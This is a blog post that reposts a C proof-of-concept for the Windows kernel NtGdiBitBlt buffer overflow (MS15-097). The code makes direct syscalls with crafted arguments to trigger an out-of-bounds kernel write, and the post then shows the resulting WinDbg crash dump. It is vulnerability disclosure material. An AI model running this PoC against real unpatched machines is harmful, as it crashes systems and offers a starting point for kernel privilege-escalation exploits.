Our Feeds

Thursday 24 September 2015

AJITH KP

Windows Kernel - NtGdiBitBlt Buffer Overflow (MS15-097)

Hi GuyZ,
     I hope you have noticed recently detected vulnerabilities of Windows OS. The BOF vulnerability is detected in the NtGdiBitBlt system call.

     For more details: https://code.google.com/p/google-security-research/issues/detail?id=474


The POC reproduces reliable on Win 7 32-bit with Special Pool enabled on win32k.sys.

POC

/*
 * compile:
 * cl.exe bug474.cpp user32.lib gdi32.lib shell32.lib
 */

#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
#include <time.h>
 
HWND notepad(LPCSTR name) {
 char filename[1024], title[1024];
 FILE *f=0x0;
 sprintf_s(filename, 1024, "%s.txt", name);
 DWORD rc = fopen_s(&f, filename, "w");
 if(rc!=0) {
  printf("[-] failed to create temporary text file\n");
 }
 fclose(f);
 HINSTANCE inst = ShellExecuteA(0x0, "open", "notepad.exe", filename, 0x0, SW_SHOW);
 if(inst < (HINSTANCE)33) {
  printf("[-] failed to start notepad\n");
 }
 while(1) {
 sprintf_s(title, 1024, "%s - Notepad", name);
 HWND hwnd = FindWindowA(0x0, title);
 if(hwnd) {
  return hwnd;
 }
 sprintf_s(title, 1024, "%s.txt - Notepad", name);
 hwnd = FindWindowA(0x0, title);
 if(hwnd) {
  //printf("[-] failed to retrieve handle to notepad window\n");
  //return 0x0;
  return hwnd;
 }
 }
 return 0x0;
}


__declspec(noinline) int __stdcall NtGdiSetLayout(HDC hdc, DWORD d0, DWORD d1) {
  __asm {
   push d1
   push d0
   push hdc
  push 0x0
  mov eax, 0x1123
  mov edx, 0x7ffe0300
  call dword ptr [edx]
  add esp, 0x10
 }
}

__declspec(noinline) int __stdcall NtGdiBitBlt(HDC hdc, DWORD dw1, DWORD dw2,DWORD dw3,DWORD dw4,HDC hdc2,DWORD dw6,DWORD dw7, DWORD dw8) {
 __asm {
  push dw8
  push dw7
  push dw6
  push hdc2
  push dw4
  push dw3
  push dw2
  push dw1
  push hdc
  push 0x0 
  mov eax, 0x100e
  mov edx, 0x7ffe0300
  call dword ptr [edx]
  add esp, 0x30
 }
}
int _tmain(int argc, _TCHAR* argv[])
{
 HDC hdc1 = CreateDCA(0,"Microsoft XPS Document Writer", 0, 0);
 printf("[-] hdc1: %08x\n", hdc1);
 NtGdiSetLayout(hdc1, 0x6d, 0xc5abb63);
 HWND hwnd1 = notepad("test1");
 printf("[-] hwnd1: %08x\n", hwnd1);
 HDC hdc2 = GetDC(hwnd1);
 printf("[-] hdc2: %08x\n", hdc2);
 NtGdiBitBlt(hdc1, 0, 0xae, 0x4c, 0x1a, hdc2, 0xb2, 0x47, 0x330008);
}

Details

*** Fatal System Error: 0x000000d6
                       (0xFFA0B1B9,0x00000001,0x947F3EB4,0x00000000)

Driver at fault: 
***    win32k.sys - Address 947F3EB4 base at 94730000, DateStamp 00000000
.
Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

Connected to Windows 7 7601 x86 compatible target at (Sun Jun 28 23:31:46.512 2015 (UTC + 2:00)), ptr64 FALSE
Loading Kernel Symbols
...............................................................
................................................................
.........................
Loading User Symbols
........................................
Loading unloaded module list
...............
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

Use !analyze -v to get detailed debugging information.

BugCheck D6, {ffa0b1b9, 1, 947f3eb4, 0}

*** WARNING: Unable to verify checksum for a10.exe
*** ERROR: Module load completed but symbols could not be loaded for a10.exe
Probably caused by : win32k.sys ( win32k!memcpy+74 )

Followup: MachineOwner
---------

Assertion: *** DPC watchdog timeout
    This is NOT a break in update time
    This is most likely a BUG in an ISR
    Perform a stack trace to find the culprit
    The period will be doubled on continuation
    Use gh to continue!!

nt!KeAccumulateTicks+0x3c5:
82a909ec cd2c            int     2Ch
kd> !analyze -v
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

DRIVER_PAGE_FAULT_BEYOND_END_OF_ALLOCATION (d6)
N bytes of memory was allocated and more than N bytes are being referenced.
This cannot be protected by try-except.
When possible, the guilty driver's name (Unicode string) is printed on
the bugcheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: ffa0b1b9, memory referenced
Arg2: 00000001, value 0 = read operation, 1 = write operation
Arg3: 947f3eb4, if non-zero, the address which referenced memory.
Arg4: 00000000, (reserved)

Debugging Details:
------------------


WRITE_ADDRESS:  ffa0b1b9 Special pool

FAULTING_IP: 
win32k!memcpy+74
947f3eb4 8807            mov     byte ptr [edi],al

MM_INTERNAL_CODE:  0

IMAGE_NAME:  win32k.sys

DEBUG_FLR_IMAGE_TIMESTAMP:  55635516

MODULE_NAME: win32k

FAULTING_MODULE: 94730000 win32k

DEFAULT_BUCKET_ID:  WIN7_DRIVER_FAULT

BUGCHECK_STR:  0xD6

PROCESS_NAME:  a10.exe

CURRENT_IRQL:  1c

TRAP_FRAME:  9f92edfc -- (.trap 0xffffffff9f92edfc)
ErrCode = 00000002
eax=000000ff ebx=ffa0b1b9 ecx=00000005 edx=00000001 esi=9f92eff5 edi=ffa0b1b9
eip=947f3eb4 esp=9f92ee70 ebp=9f92ee78 iopl=0         nv up ei pl nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010202
win32k!memcpy+0x74:
947f3eb4 8807            mov     byte ptr [edi],al          ds:0023:ffa0b1b9=??
Resetting default scope

LAST_CONTROL_TRANSFER:  from 82a8feb3 to 82a909ec

STACK_TEXT:  
9f92e820 82a8feb3 0002625a 00000000 00010300 nt!KeAccumulateTicks+0x3c5
9f92e860 82a8fd60 82e430a8 0f77c71d 00000000 nt!KeUpdateRunTime+0x145
9f92e8b8 82a8f563 9f92e802 9f92e802 000000d1 nt!KeUpdateSystemTime+0x613
9f92e8b8 82e430a8 9f92e802 9f92e802 000000d1 nt!KeUpdateSystemTimeAssist+0x13
9f92e93c 82e31b8c 00001000 00000000 9f92e99c hal!READ_PORT_USHORT+0x8
9f92e94c 82e31cf5 82af4582 c4073ec3 00000065 hal!HalpCheckPowerButton+0x2e
9f92e950 82af4582 c4073ec3 00000065 00000000 hal!HaliHaltSystem+0x7
9f92e99c 82af5029 00000003 00000000 00000002 nt!KiBugCheckDebugBreak+0x73
9f92ed60 82aa2ff9 00000050 ffa0b1b9 00000001 nt!KeBugCheck2+0x68b
9f92ede4 82a55a88 00000001 ffa0b1b9 00000000 nt!MmAccessFault+0x104
9f92ede4 947f3eb4 00000001 ffa0b1b9 00000000 nt!KiTrap0E+0xdc
9f92ee78 947c9a8a ffa0b1b9 9f92eff5 00000008 win32k!memcpy+0x74
9f92eed8 9477d91c 00000008 0b06bcfc 9f92f4a0 win32k!vSrcCopyS1D1LtoR+0x1eb
9f92f480 9477cf6e 9f92f608 00000019 ffa0ada8 win32k!BltLnkRect+0x91c
9f92f70c 947ec14c 00000000 fc2d2000 00000000 win32k!BltLnk+0x78b
9f92f798 9488811d 00000000 fc2d2010 00000000 win32k!EngBitBlt+0x4c5
9f92f834 9487dee2 ffa0adb8 ff0fadb8 00000000 win32k!EngStretchBltROP+0x282
9f92f914 947b0091 00000000 9f92fa54 94887e9b win32k!BLTRECORD::bStretch+0x459
9f92fa90 947acd2c ab21078b 00000000 000000ae win32k!GreStretchBltInternal+0x785
9f92facc 94807ac7 ab21078b 00000000 000000ae win32k!GreStretchBlt+0x30
9f92fbcc 947e4cda ab21078b 00000000 000000ae win32k!NtGdiBitBltInternal+0x765
9f92fc00 82a528a6 ab21078b 00000000 000000ae win32k!NtGdiBitBlt+0x2f
9f92fc00 77257074 ab21078b 00000000 000000ae nt!KiSystemServicePostCall
0018f7f8 011911cc 00000000 ab21078b 00000000 ntdll!KiFastSystemCallRet
WARNING: Stack unwind information not available. Following frames may be wrong.
0018f828 0119127e ab21078b 00000000 000000ae a10+0x11cc
0018f860 0119165d 00000001 0027efa8 00283738 a10+0x127e
0018f8a8 7577ee6c 7ffd9000 0018f8f4 7727399b a10+0x165d
0018f8b4 7727399b 7ffd9000 7739f8b6 00000000 kernel32!BaseThreadInitThunk+0xe
0018f8f4 7727396e 011916da 7ffd9000 00000000 ntdll!__RtlUserThreadStart+0x70
0018f90c 00000000 011916da 7ffd9000 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  kb

FOLLOWUP_IP: 
win32k!memcpy+74
947f3eb4 8807            mov     byte ptr [edi],al

SYMBOL_STACK_INDEX:  b

SYMBOL_NAME:  win32k!memcpy+74

FOLLOWUP_NAME:  MachineOwner

FAILURE_BUCKET_ID:  0xD6_VRF_win32k!memcpy+74

BUCKET_ID:  0xD6_VRF_win32k!memcpy+74

Followup: MachineOwner
---------